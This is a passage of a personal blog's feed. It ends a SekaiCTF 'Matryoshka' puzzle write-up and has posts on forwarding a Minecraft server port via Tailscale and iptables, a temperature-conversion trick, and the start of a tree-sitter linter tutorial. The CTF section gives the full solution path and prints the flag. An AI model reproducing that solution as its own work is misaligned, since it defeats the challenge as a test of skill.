    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">enc</span> <span class="o">+=</span> <span class="p">[</span><span class="nf">int</span><span class="p">(</span><span class="n">line</span><span class="p">)]</span>
<span class="n">w</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">enc</span><span class="p">),</span> <span class="mi">2</span><span class="p">):</span>
    <span class="n">w</span> <span class="o">+=</span> <span class="p">[</span><span class="nf">chr</span><span class="p">(</span><span class="nf">int</span><span class="p">(</span><span class="nf">decode</span><span class="p">(</span><span class="n">enc</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nf">decode</span><span class="p">(</span><span class="n">enc</span><span class="p">[</span><span class="n">i</span><span class="p">]),</span><span class="mi">2</span><span class="p">))]</span>
<span class="nf">print</span><span class="p">(</span><span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
</code></pre></div></div>

<p>Decoding becomes a piece of cake.  We obtain the URL
<code class="language-plaintext highlighter-rouge">https://matryoshka.sekai.team/-qLf-Aoaur8ZVqK4aFngYg.png</code>, which is
the following image:</p>

<p><img src="/assets/matryoshka-stage2.png" alt="Matroyshka stage 2" /></p>

<h2 id="think-differently-about-png-parsing">Think Different(ly about PNG parsing)</h2>
<p>I encourage you to scan the QR code.  Things were looking a bit duller
at this point.  What’s with the noisy lines across the image?  We
spent a few minutes trying to collect the lines together and discern
patterns in it, but no dice.</p>

<p>Then I remembered the clue from earlier.  Unfortunately (or
fortunately), my macOS version is far too new to have the bug, and
several teammates were using Windows laptops.  However,
<a href="https://github.com/nkalupahana">Nisala</a> hadn’t updated his Mac in a
while, and we were pleasantly surprised when we saw Safari correctly
incorrectly rendering the PNG:</p>

<p><img src="/assets/matryoshka-stage3.png" alt="Matroyshka stage 3" /></p>

<p>Bingo.  Now when we scan the QR code, instead of a funny YouTube video
we have this string:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shc:/56762959532654603460292540772804336028702865676754222809286237253760287028647167452228092863457452621103402467043423376555407105412745693904292640625506400459645404280536627540536459624025250555056338566029120106413333400028742635076939734552056936583171064558751131556353203754372575033328200705643838552934743139500009536061356931346955643709527105115665600005602172234467374542085807222475347132034424395261373056004444002400085237353061222027453167672627082630290769235375711135114127401104212540537525556303742533507136503255653563264154433970205436100050743522116306752331635775741156433654585503107626684254686208403754634470273768056171327607656125712725523234611005361121030308333867583166536725643767425270646323270003005623700860226659203405252357762043663326362209257233442225631073757558424358121058221221247175065067275426364058293454221133236771205077255211441131752363046604226175031256730654443172527522070726232026532434301128375372255668000400627667676055323160225036622041105858255222692922334259596624276377446745261173582545412027102861666538363053246255715622773453607507284404720407630733005623703641432800427011066429357722525365740010257264576557765569557135536228273331723728623059574332602964335058526177070375095735563159552930336664240727603959105433044575393334503567543958542929065332126645230910313334672722391208422438276434441236775655650958267743437110394352455760210354655321596331533463522358444058636442336866670845305568693721662269635473434227715411302507646165766341072469394221072671236868392755064436586159754123754210552170093809524555337700313654703040673106437576344009087611676326535274567421423023706811744311775220407005454032310440346554616620552130066153666738533667226435276755422240350073103639763904405705005555244371301010730641435756764057646755286006396271642377067569577743576669054164110561644535096843257762673432272976686542737404354077010832356003656226634535455971326660756506220359605868077353056052347436404527397258656831553804624139525240420467593362371139026720436433630272626572681040385977300452644174
</code></pre></div></div>

<h2 id="fully-vaccinated">Fully vaccinated</h2>
<p>Scanning it with my iPhone I saw that it was a COVID-19 vaccination
record, but nothing really seemed out of the ordinary.  Then
<a href="https://github.com/Ace314159">Akash</a> found a <a href="https://bramp.github.io/smart-health-card-scanner/">Smart Health Card
parser</a> where we
pasted in the raw contents.</p>

<p>We spotted an unusual entry in the contact information for the
patient—a base64 encoded string.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="nx">contact</span><span class="p">:</span> <span class="p">[</span>
   <span class="p">{</span>
      <span class="na">name</span><span class="p">:</span> <span class="p">{</span>
         <span class="na">text</span><span class="p">:</span> <span class="dl">"</span><span class="s2">flag</span><span class="dl">"</span>
      <span class="p">},</span>
      <span class="na">telecom</span><span class="p">:</span> <span class="p">[</span>
         <span class="p">{</span>
            <span class="na">system</span><span class="p">:</span> <span class="dl">"</span><span class="s2">url</span><span class="dl">"</span><span class="p">,</span>
            <span class="na">value</span><span class="p">:</span> <span class="dl">"</span><span class="s2">data:text/html;base64,PGF1ZGlvIHNyYz0iaHR0cHM6Ly9tYXRyeW9zaGthLnNla2FpLnRlYW0vOGQ3ODk0MTRhN2M1OGI1ZjU4N2Y4YTA1MGI4ZDc4OGUud2F2IiBjb250cm9scz4=</span><span class="dl">"</span>
         <span class="p">}</span>
      <span class="p">]</span>
   <span class="p">}</span>
<span class="p">]</span>
<span class="p">...</span>
</code></pre></div></div>

<p>Onto the next stage!</p>

<h2 id="all-about-that-base">All about that base</h2>
<p>Let’s decode the base64.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo 'PGF1ZGlvIHNyYz0iaHR0cHM6Ly9tYXRyeW9zaGthLnNla2FpLnRlYW0vOGQ3ODk0MTRhN2M1OGI1ZjU4N2Y4YTA1MGI4ZDc4OGUud2F2IiBjb250cm9scz4=' | base64 -d
&lt;audio src="https://matryoshka.sekai.team/8d789414a7c58b5f587f8a050b8d788e.wav" controls&gt;
</code></pre></div></div>

<p>Hm, an <a href="https://matryoshka.sekai.team/8d789414a7c58b5f587f8a050b8d788e.wav">audio
file</a>
(<strong>warning: loud noise</strong>).  This was the most experimental of all the
stages.  At first it seemed like just noise but on closer listening we
could faintly hear a human voice speak in regular intervals.  It
doesn’t show up on a spectrogram however:</p>

<p><img src="/assets/matryoshka-audacity.png" alt="Spectrogram of the WAV file" /></p>

<h3 id="finding-the-signal-in-the-noise">Finding the signal in the noise</h3>
<p>By now half of our team was listening to parts of the audio file and
messing around with various audio settings such as equalization and
noise reduction.  To be clear, none of us are audio engineers by
training so this was a do-what-feels-right kind of deal.  Eventually,
we found a website that did noise reduction and put the audio file
through it <em>5</em> times, then, to our continual surprise (which was
routine at this point), this is what we saw and heard:</p>

<p><img src="/assets/matryoshka-cleaned.png" alt="Five times cleaned audio file" /></p>

<p>Now the words were very clear.  The words corresponded to the <a href="https://en.wikipedia.org/wiki/NATO_phonetic_alphabet">NATO
phonetic
alphabet</a> and it
was far easier to now transcribe the message, which was the flag,
<code class="language-plaintext highlighter-rouge">SEKAI{KandoRyoko5Five2Two4Four}</code>.</p>

<h2 id="conclusions-and-feedback">Conclusions and feedback</h2>
<p>The question was really well-designed, and was a refreshing format to
see in a CTF competition which is often dominated by more traditional
reverse engineering.  I do want to highlight some things I thought
were great to see:</p>

<ul>
  <li>Relying on colors can be a risky design choice, but the uniformity
of VS Code and using a default theme was helpful</li>
  <li>The hints about Apple-specific PNG rendering were good but
potentially hard to overcome if the team did not have access to
Apple hardware that was unpatched</li>
</ul>

<p>I hope you enjoyed reading this post as I much as I enjoyed the
process of working with my teammates and finding the flag!</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="ctf" /><category term="misc" /><summary type="html"><![CDATA[ANSI escape codes. Race conditions in PNG parsing. Digital COVID-19 vaccination records. De-noising audio files and the NATO phonetic alphabet. The only thing linking all of them? A race to solve a CTF challenge and get the flag.]]></summary></entry><entry><title type="html">Hosting a Minecraft server without extra hardware</title><link href="https://siraben.dev/2022/08/01/tailscale-iptables.html" rel="alternate" type="text/html" title="Hosting a Minecraft server without extra hardware" /><published>2022-08-01T00:00:00+00:00</published><updated>2022-08-01T00:00:00+00:00</updated><id>https://siraben.dev/2022/08/01/tailscale-iptables</id><content type="html" xml:base="https://siraben.dev/2022/08/01/tailscale-iptables.html"><![CDATA[<h2 id="the-problem">The problem</h2>
<p>I want to play Minecraft with my friends, and I already have a server
exposed to the internet.  However, my server is severely underpowered
and is unable to run a Minecraft server instance.  On the other hand,
I have a spare beefy laptop that can easily handle the load, but
port-forwarding is not possible.  Both the server and the laptop are
on my <a href="https://tailscale.com">Tailscale</a> network.  Could I somehow
leverage all of this to spin up a Minecraft server with a public IP?
The answer was yes—and I was surprised at how easy it all was.  As a
plus, the server is very playable and the latency was better than
trying out random “free hosting” services.</p>

<center>
<p><img src="/assets/tailscale-iptable.svg" alt="Graphic" /></p>
</center>

<h2 id="halfway-with-tailscale">Halfway with Tailscale</h2>
<p>I already use Tailscale on all my devices, so of course when I spin up
a Minecraft server instance on one device I can immediately connect to
it from my other ones.  My friends do not have Tailscale (yet!), so
unfortunately <a href="https://tailscale.com/kb/1084/sharing/">node sharing</a>
is out of the picture for now, but I can still take advantage of
Tailscale in that my laptop will always have a static IP relative to
the server, and the server will always have a static IP relative to
the public internet.  So altogether the connection will be
deterministic and I don’t have to resort to any dynamic shenanigans.</p>

<p>Let’s test the hypothesis.</p>

<pre><code class="language-ShellSession">$ NIXPKGS_ALLOW_UNFREE=1 nix run --impure nixpkgs#minecraft-server
Starting net.minecraft.server.Main
[22:18:53] [ServerMain/INFO]: Building unoptimized datafixer
[22:18:54] [ServerMain/INFO]: Environment: authHost='https://authserver.mojang.com', accountsHost='https://api.mojang.com', sessionHost='https://sessionserver.mojang.com', servicesHost='https://api.minecraftservices.com', name='PROD'
[22:18:54] [ServerMain/INFO]: Loaded 7 recipes
[22:18:55] [ServerMain/INFO]: Loaded 1179 advancements
[22:18:55] [Server thread/INFO]: Starting minecraft server version 1.19.1
[22:18:55] [Server thread/INFO]: Loading properties
[22:18:55] [Server thread/INFO]: Default game type: SURVIVAL
[22:18:55] [Server thread/INFO]: Generating keypair
[22:18:55] [Server thread/INFO]: Starting Minecraft server on *:25565
[22:18:55] [Server thread/INFO]: Using default channel type
[22:18:55] [Server thread/INFO]: Preparing level "world"
[22:18:55] [Server thread/INFO]: Preparing start region for dimension minecraft:overworld
[22:18:56] [Worker-Main-1/INFO]: Preparing spawn area: 0%
[22:18:56] [Worker-Main-1/INFO]: Preparing spawn area: 0%
[22:18:56] [Worker-Main-7/INFO]: Preparing spawn area: 0%
[22:18:57] [Worker-Main-7/INFO]: Preparing spawn area: 0%
[22:18:57] [Worker-Main-1/INFO]: Preparing spawn area: 83%
[22:18:57] [Server thread/INFO]: Time elapsed: 2080 ms
[22:18:57] [Server thread/INFO]: Done (2.163s)! For help, type "help"
</code></pre>

<p>And let’s check if Minecraft can see it if I put in the Tailscale IP…</p>

<center><p><img src="/assets/server-entry.png" /></p></center>

<p>Great success!  Now we just need to expose it to the public internet.</p>

<h2 id="iptables-to-the-rescue">iptables to the rescue!</h2>
<p><code class="language-plaintext highlighter-rouge">iptables</code> essentially lets you configure the rules of the Linux
kernel firewall.  Conceptually it’s quite simple.  The user defines
<em>tables</em> and when a packet comes in, it goes through <em>chains</em> of
<em>rules</em> in the tables and you can route the packet through essentially
whatever treatment you like.  Java edition Minecraft servers use TCP
port 25565 between the client and server.</p>

<h3 id="nixos-configuration">NixOS configuration</h3>
<p>It was very straightforward to enable IP forwarding and add 25565 to
the list of open TCP ports for my server:</p>

<div class="language-nix highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># combine with the rest of your configuration</span>
<span class="p">{</span>
   <span class="nv">boot</span><span class="o">.</span><span class="nv">kernel</span><span class="o">.</span><span class="nv">sysctl</span><span class="o">.</span><span class="s2">"net.ipv4.ip_forward"</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
   <span class="nv">networking</span><span class="o">.</span><span class="nv">firewall</span><span class="o">.</span><span class="nv">allowedTCPPorts</span> <span class="o">=</span> <span class="p">[</span> <span class="mi">25565</span> <span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="creating-the-rule">Creating the rule</h3>
<p>Now we can go ahead add the following commands to our firewall setup.
Let <code class="language-plaintext highlighter-rouge">dest_ip</code> be the Tailscale IP of the server.  The first command
adds a rule to the <code class="language-plaintext highlighter-rouge">PREROUTING</code> chain which is where packets arrive
before being processed.  We basically immediately forward the packet
over to the laptop pointed to by the IP address given by Tailscale.
The second command essentially lets the source IP of the packet remain
the same so the server just acts as a router.</p>

<div class="language-nix highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># combine with the rest of your configuration</span>
<span class="p">{</span>
  <span class="nv">networking</span><span class="o">.</span><span class="nv">firewall</span><span class="o">.</span><span class="nv">extraCommands</span> <span class="o">=</span> <span class="s2">''</span><span class="err">
</span><span class="s2">    IPTABLES=</span><span class="si">${</span><span class="nv">pkgs</span><span class="o">.</span><span class="nv">iptables</span><span class="si">}</span><span class="s2">/bin/iptables</span><span class="err">
</span><span class="s2">    "$IPTABLES" -t nat -A PREROUTING -p tcp --dport 25565 -j DNAT --to-destination </span><span class="si">${</span><span class="nv">dest_ip</span><span class="si">}</span><span class="s2">:25565</span><span class="err">
</span><span class="s2">    "$IPTABLES" -t nat -A POSTROUTING -j MASQUERADE</span><span class="err">
</span><span class="s2">  ''</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we have the following setup:</p>

<center>
<p><img src="/assets/tailscale-iptable.svg" alt="Graphic" /></p>
</center>

<p>Now we rebuild the server configuration, and checking again in
Minecraft, this time using the public server IP, it all works as
expected!</p>

<h3 id="final-touches-a-dns-record">Final touches: a DNS record</h3>
<p>For the final touches <em>*chef’s kiss*</em>, adding an A record gave me
a nice URL I could give people instead of an IP address.</p>

<h2 id="performance">Performance</h2>
<p>As far as performance goes, it’s pretty good!  The proxy server is on the
East coast and even though the Minecraft server is on the West coast,
having played on it for several hours today, my friends and I had no
problems whatsoever.  I pinged people through the connection and
latency was acceptable (77 ms for someone in New York).</p>

<h2 id="references">References</h2>
<p><a href="https://tailscale.com/blog/nixos-minecraft/">Xe’s post on Tailscale, NixOS and
Minecraft</a> inspired me to
write this, however my requirements were different.  I did not want to
require my friends to install Tailscale to play on my server, and
wanted to leverage the existing hardware I had access to, essentially
letting me use my server as a crappy router.</p>

<p>Various <code class="language-plaintext highlighter-rouge">iptables</code> tutorials and resources online helped me make sense
of the terminology, commands and flags.</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="tailscale" /><category term="minecraft" /><summary type="html"><![CDATA[The problem I want to play Minecraft with my friends, and I already have a server exposed to the internet. However, my server is severely underpowered and is unable to run a Minecraft server instance. On the other hand, I have a spare beefy laptop that can easily handle the load, but port-forwarding is not possible. Both the server and the laptop are on my Tailscale network. Could I somehow leverage all of this to spin up a Minecraft server with a public IP? The answer was yes—and I was surprised at how easy it all was. As a plus, the server is very playable and the latency was better than trying out random “free hosting” services.]]></summary></entry><entry><title type="html">Fast mental conversion between ℃ and ℉</title><link href="https://siraben.dev/2022/06/23/celsius-fahrenheit.html" rel="alternate" type="text/html" title="Fast mental conversion between ℃ and ℉" /><published>2022-06-23T04:48:00+00:00</published><updated>2022-06-23T04:48:00+00:00</updated><id>https://siraben.dev/2022/06/23/celsius-fahrenheit</id><content type="html" xml:base="https://siraben.dev/2022/06/23/celsius-fahrenheit.html"><![CDATA[<p>As a speaker of multiple languages, I’m often aware of how inherent
habits in our speech can greatly influence the extent to which other
people make sense of it.  But even when you speak the same language,
even a topic as simple as the weather can already bring unnecessary
friction to the conversation if the speakers are using incompatible
units (<em>cough</em> <em>cough</em>).  Or maybe I’m just coming up with an
arbitrary reason to justify this party trick.  In any case, I describe
a mental heuristic that gets you within 0.25℃ for any temperature in
Fahrenheit, and prove the error bound.  For the other direction, the
error in converting a temperature in Celsius to Fahrenheit is at most
0.5℉.</p>

<p>With this method, you get an immediate sense of the rough temperature
in Celsius for a given temperature in Fahrenheit, and if you calculate
a bit more, then the error is 0.25℃.</p>

<h2 id="anchor-points">Anchor points</h2>
<p>I memorize the following table.  I recommend remembering that 50℉
corresponds to 10℃.  Since Fahrenheit and Celsius have a linear
relationship, a difference of 9℉ corresponds to a difference of 5℃.
You can get the other numbers by adding as needed.</p>

<table>
  <thead>
    <tr>
      <th>Fahrenheit</th>
      <th>Celsius</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>32</td>
      <td>0</td>
    </tr>
    <tr>
      <td>41</td>
      <td>5</td>
    </tr>
    <tr>
      <td><strong>50</strong></td>
      <td><strong>10</strong></td>
    </tr>
    <tr>
      <td>59</td>
      <td>15</td>
    </tr>
    <tr>
      <td>68</td>
      <td>20</td>
    </tr>
    <tr>
      <td>77</td>
      <td>25</td>
    </tr>
    <tr>
      <td>86</td>
      <td>30</td>
    </tr>
  </tbody>
</table>

<h2 id="steps-to-perform-the-conversion">Steps to perform the conversion</h2>

<p>Given a temperature \(T_F\) and the table,</p>

<ol>
  <li>Look up the nearest Fahrenheit value \(v\) in the table.  If it
exists then you are done and the answer is \(T[v]\).</li>
  <li>Otherwise, compute \(\frac{T_F-T[v]}{2}\), let the result
be \(d\).</li>
  <li>The approximation is given by \(T[v]+d\).</li>
</ol>

<p>Here’s an example.</p>

<ol>
  <li>Suppose we are given 72℉.  The nearest value in the table is 68℉,
corresponding to 20℃.</li>
  <li>Now we compute \(\frac{72-68}{2}=2\).</li>
  <li>Now we add the two results to get 22℃.</li>
</ol>

<h2 id="code">Code</h2>
<p>I can render the above steps into code so it’s unambiguous what I
actually mean.  Note that in the code I didn’t use a lookup table but
instead some arithmetic to find the closest anchor point.  Obviously
in practice it’ll be memorized.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">convert_approx</span><span class="p">(</span><span class="n">given</span><span class="p">):</span>
    <span class="c1"># Nearest memorized temperature
</span>    <span class="n">close</span> <span class="o">=</span> <span class="nf">round</span><span class="p">((</span><span class="n">given</span> <span class="o">-</span> <span class="mi">5</span><span class="p">)</span> <span class="o">/</span> <span class="mi">9</span><span class="p">)</span> <span class="o">*</span> <span class="mi">9</span> <span class="o">+</span> <span class="mi">5</span>
    <span class="c1"># Convert to Celsius
</span>    <span class="n">rough</span> <span class="o">=</span> <span class="p">(</span><span class="n">close</span> <span class="o">-</span> <span class="mi">32</span><span class="p">)</span> <span class="o">*</span> <span class="mi">5</span> <span class="o">/</span> <span class="mi">9</span>
    <span class="c1"># Half of the difference
</span>    <span class="n">diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">given</span> <span class="o">-</span> <span class="n">close</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span>
    <span class="k">return</span> <span class="n">rough</span> <span class="o">+</span> <span class="n">diff</span>
</code></pre></div></div>

<h2 id="proof-of-error-bound">Proof of error bound</h2>
<p>First observe since the memorized intervals occur every 9℉, the
difference between the given temperature and nearest interval is at
most 9/2 ℉.  Then the conversion is approximated to 1/2 ℃/℉, so we
calculate:</p>

\[9/2(5/9-1/2) = 0.25℃\]

<h2 id="final-thoughts-and-when-not-to-use-it">Final thoughts and when not to use it</h2>
<p>That’s pretty much it.  In summary the conversion is:</p>

<ul>
  <li>Accurate to within 0.25℃ for any temperature in Fahrenheit, or 0.5℉
for any temperature in Celsius.</li>
  <li>Simply calculable; you never need to divide by more than 2.</li>
  <li>Gives immediate feedback; at every step you get a temperature which
is roughly the temperature in Celsius.</li>
</ul>

<p>If you’re converting temperature in the thousands of degrees and
higher, you’re better off approximating it by multiplying by 2 to go
from ℃ to ℉.  It’s unlikely you want super precise conversions in that
temperature range, and the temperatures essentially have a direct
linear relationship in that range anyway.</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="hacks" /><summary type="html"><![CDATA[As a speaker of multiple languages, I’m often aware of how inherent habits in our speech can greatly influence the extent to which other people make sense of it. But even when you speak the same language, even a topic as simple as the weather can already bring unnecessary friction to the conversation if the speakers are using incompatible units (cough cough). Or maybe I’m just coming up with an arbitrary reason to justify this party trick. In any case, I describe a mental heuristic that gets you within 0.25℃ for any temperature in Fahrenheit, and prove the error bound. For the other direction, the error in converting a temperature in Celsius to Fahrenheit is at most 0.5℉.]]></summary></entry><entry><title type="html">How to write a linter using tree-sitter in an hour</title><link href="https://siraben.dev/2022/03/22/tree-sitter-linter.html" rel="alternate" type="text/html" title="How to write a linter using tree-sitter in an hour" /><published>2022-03-22T16:35:00+00:00</published><updated>2022-03-22T16:35:00+00:00</updated><id>https://siraben.dev/2022/03/22/tree-sitter-linter</id><content type="html" xml:base="https://siraben.dev/2022/03/22/tree-sitter-linter.html"><![CDATA[<p><em>This article was discussed on <a href="https://news.ycombinator.com/item?id=30822544">Hacker News</a>.</em></p>

<p>This is a continuation of my last post on <a href="https://siraben.dev/2022/03/01/tree-sitter.html">how to write a tree-sitter
grammar in an
afternoon</a>.  Building
on the grammar we wrote, now we’re going to write a linter for
<a href="https://softwarefoundations.cis.upenn.edu/lf-current/Imp.html">Imp</a>,
and it’s even easier!  The final result clocks in less than 60 SLOC
and can be found <a href="https://github.com/siraben/ts-lint-example">here</a>.</p>

<p>Recall that tree-sitter is an <em>incremental</em> parser generator.  That
is, you give it a description of the grammar of your programming
language and it spits out a parser in C that creates a syntax tree
based on the rules you specified.  What’s notable about tree sitter is
that it is <a href="https://news.ycombinator.com/item?id=24494756">resilient in the presence of syntax
errors</a>, and it being incremental means the parser
is fast enough to reparse the file on every keystroke, only changing
the parts of the tree as needed.</p>

<p>Specifically, we’ll write a program that suggests simplification of
assignments and some conditional constructs.  First I’ll describe the
tree-sitter query language with some examples, then show how a little
bit of JavaScript can let us manipulate the results programmatically.
You can get the code in this post <a href="https://github.com/siraben/ts-lint-example">here</a>.
Ready?  Set?  Go!</p>

<p><strong>Note:</strong> There are many <a href="https://tree-sitter.github.io/tree-sitter/#language-bindings">language
bindings</a>
that let you work with tree-sitter parsers using the respective
language’s FFI.  I’ve used only two to date, the Rust and the
JavaScript bindings, and from my brief experience, the JavaScript
bindings are much more usable.  When using the Rust bindings the
lifetime and mutability restrictions make abstraction more difficult,
especially for a non-critical program such as a linter.</p>

<h2 id="tree-sitter-queries">Tree-sitter queries</h2>
<p>Tree-sitter has a built-in <a href="https://tree-sitter.github.io/tree-sitter/using-parsers#pattern-matching-with-queries">query
language</a>
that lets you write queries to match parts of the AST of interest.
Think of it as pattern matching, but you don’t need to handle every
case of a syntactical construct.</p>

<h3 id="query-syntax">Query syntax</h3>
<p>Tree-sitter queries are written as a series of one or more patterns in
an <a href="https://en.wikipedia.org/wiki/S-expression">S-expression</a> syntax.
We first match on a node’s type (corresponding to a name of a node in
the grammar file), then possibly the types of the children of the node
as well.  After each pattern, write <code class="language-plaintext highlighter-rouge">@m</code> (or any other valid variable
name) so you can refer to the matched node later.</p>

<p>Our running example will be some Python code.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">factorial</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
  <span class="k">return</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">n</span> <span class="o">==</span> <span class="mi">0</span> <span class="nf">else </span><span class="p">(</span><span class="n">n</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">*</span> <span class="mi">1</span><span class="p">))</span> <span class="o">*</span> <span class="nf">factorial</span><span class="p">(</span><span class="n">n</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>

<p>Let’s match all expressions involving binary operators.</p>

<div class="language-scheme highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nf">binary_operator</span><span class="p">)</span> <span class="nv">@m</span>
</code></pre></div></div>

<div><pre><code><span>def factorial(n):</span>
<span>  return 1 if n == 0 else <span style="color: blue;">(</span><span style="color: blue;">n * (</span><span style="color: blue;">1 * 1</span><span style="color: blue;">)</span><span style="color: blue;">) * factorial(</span><span style="color: blue;">n - 1</span><span style="color: blue;">)</span></span></code></pre></div>

<p>Tree-sitter lets us specify what the children should be.  So we
can match all binary expressions involving at least one integer:</p>

<div class="language-scheme highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nf">binary_operator</span> <span class="p">(</span><span class="nf">integer</span><span class="p">))</span> <span class="nv">@m</span>
</code></pre></div></div>

<div><pre><code><span>def factorial(n):</span>
<span>  return 1 if n == 0 else (n * (<span style="color: blue;">1 * 1</span>)) * factorial(<span style="color: blue;">n - 1</span>)</span></code></pre></div>

<p>Or match all binary expressions involving two integers:</p>

<div class="language-scheme highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nf">binary_operator</span> <span class="p">(</span><span class="nf">integer</span><span class="p">)</span> <span class="p">(</span><span class="nf">integer</span><span class="p">))</span> <span class="nv">@m</span>
</code></pre></div></div>

<div><pre><code><span>def factorial(n):</span>
<span>  return 1 if n == 0 else (n * (<span style="color: blue;">1 * 1</span>)) * factorial(n - 1)</span></code></pre></div>

<p>Try playing around with queries in the
<a href="https://tree-sitter.github.io/tree-sitter/playground">playground</a>.</p>

<h3 id="capturing-nodes">Capturing nodes</h3>
<p>You can also assign <em>capture names</em> to nodes that you match, letting
you refer to them later by name.  This is useful because in the
running example, suppose we wanted to capture the left and right
integer arguments to a binary operator, labeling them <code class="language-plaintext highlighter-rouge">a</code> and <code class="language-plaintext highlighter-rouge">b</code>
respectively.  Then our query would look like this, and tree-sitter
would highlight the matches accordingly.</p>

<div><pre><code><span>(binary_operator (integer) <span style="color: blue;">@a</span> (integer) <span style="color: chocolate;">@b</span>) <span style="color: green;">@m</span></span></code></pre></div>

<div><pre><code><span>def factorial(n):</span>
<span>  return 1 if n == 0 else (n * (<span style="color: blue;">1</span><span style="color: green;"> * </span><span style="color: chocolate;">1</span>)) * factorial(n - 1)</span></code></pre></div>

<h3 id="predicates">Predicates</h3>
<p>The tree-sitter query language also lets you specify additional
constraints on matches.  For instance, we can match on binary
expressions where the left-hand side is <code class="language-plaintext highlighter-rouge">n</code>, which now gets
highlighted in blue.  The underscore <code class="language-plaintext highlighter-rouge">_</code> lets us match any node.</p>

<div><pre><code><span>((binary_operator _ <span style="color: blue;">@a</span> _ <span style="color: chocolate;">@b</span>) (#eq? <span style="color: blue;">@a</span> n)) <span style="color: green;">@m</span></span></code></pre></div>

<div><pre><code><span>def factorial(n):</span>
<span>  return 1 if n == 0 else (<span style="color: blue;">n</span><span style="color: green;"> </span><span style="color: chocolate;">*</span><span style="color: green;"> </span><span style="color: chocolate;">(1 * 1)</span>) * factorial(<span style="color: blue;">n</span><span style="color: green;"> </span><span style="color: chocolate;">-</span><span style="color: green;"> </span><span style="color: chocolate;">1</span>)</span></code></pre></div>

<h2 id="writing-the-linter">Writing the linter</h2>
<p>Now we have the basic parts out of the way, we can get to writing a
linter!  Instead of Python, we’ll continue working with Imp.  Note
that it’s easy to adapt this linter for any language with a
tree-sitter grammar.  Imp also has a much simpler semantics than
Python so we can just focus on “obviously correct” lints rather than
worry about suggestions changing program behavior.</p>

<p>We can start with a basic <code class="language-plaintext highlighter-rouge">package.json</code>:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"imp-lint"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"module"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Linter for Imp"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"index.js"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"lint"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node index.js"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"author"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ben Siraphob"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"license"</span><span class="p">:</span><span class="w"> </span><span class="s2">"MIT"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"devDependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"tree-sitter"</span><span class="p">:</span><span class="w"> </span><span class="s2">"^0.20.0"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"tree-sitter-imp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"github:siraben/tree-sitter-imp"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Then <code class="language-plaintext highlighter-rouge">npm install</code> to install the dependencies.  We’ll write our code
in <code class="language-plaintext highlighter-rouge">index.js</code> then we can call our linter by running <code class="language-plaintext highlighter-rouge">npm run lint &lt;file&gt;</code>.</p>

<h3 id="imports-and-setup">Imports and setup</h3>
<p>Nothing fancy here, just the Parser class from the tree-sitter library
and our language definition <code class="language-plaintext highlighter-rouge">Imp</code> (discussed in my last blog post), and
a library to read from the filesystem.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">Parser</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">tree-sitter</span><span class="dl">"</span><span class="p">;</span>
